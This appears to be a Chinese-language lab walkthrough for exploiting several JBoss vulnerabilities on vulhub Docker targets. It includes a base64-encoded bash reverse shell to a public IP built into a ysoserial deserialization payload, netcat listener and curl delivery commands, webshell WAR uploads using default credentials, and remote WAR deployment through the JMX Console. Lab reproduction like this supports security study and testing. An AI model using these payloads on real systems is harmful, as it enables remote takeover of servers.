一.CVE-2015-7501
环境搭建
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
1.POC,访问地址
172.16.1.4:8080/invoker/JMXInvokerServlet
返回如下,说明接⼝开放,此接⼝存在反序列化漏洞
2.下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/106.15.46.86/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTUuNDYuODYvNjY2NiAwPiYx
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTUuNDYuODYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}">exp.ser
3.服务器设置监听得端⼝
nc -lvvp 6666
4.执⾏命令
curl 172.16.1.4:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
5.反弹成功
二.CVE-2017-7504
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
1.访问漏洞地址
172.16.1.4:8080/jbossmq-httpil/HTTPServerILServlet
2.获取shell
python3 jexboss.py -u http://172.16.1.4:8080/
三.CVE-2017-12149
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
1.访问漏洞⻚⾯
2.验证是否存在漏洞 , 访问
http://172.16.1.4:8080/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将⽤户post请求内容进⾏反序列化
使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:
⼯具:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
四.Administration Console弱⼝令
环境搭建
因为这⾥⽤的环境是CVE-2017-12149的靶机
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
密码⽂件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub
2.点击web应⽤,上传后⻔ shell.war
4.连接WebShell
http://172.16.1.4:8080/shell/shell.jsp
五.低版本JMX Console未授权
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
1.访问
http://192.168.0.126:8080/jmx-console/
2.这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)
admin admin
3.然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)
4.找到⻚⾯中的void addURL() 选项远程加载war包来部署。
5.制作war包 填写war包远程地址
http://192.168.0.126/1.war
六.高版本JMX Console未授权
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
http://192.168..126:8080/jmx-console/
因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub
1.本地搭建部署点
在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer,如下
2.进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署
3.搭建远程部署 , 部署远程war包地址
4.输⼊Invoke
http://xxx.xx.xx.xx/shell.war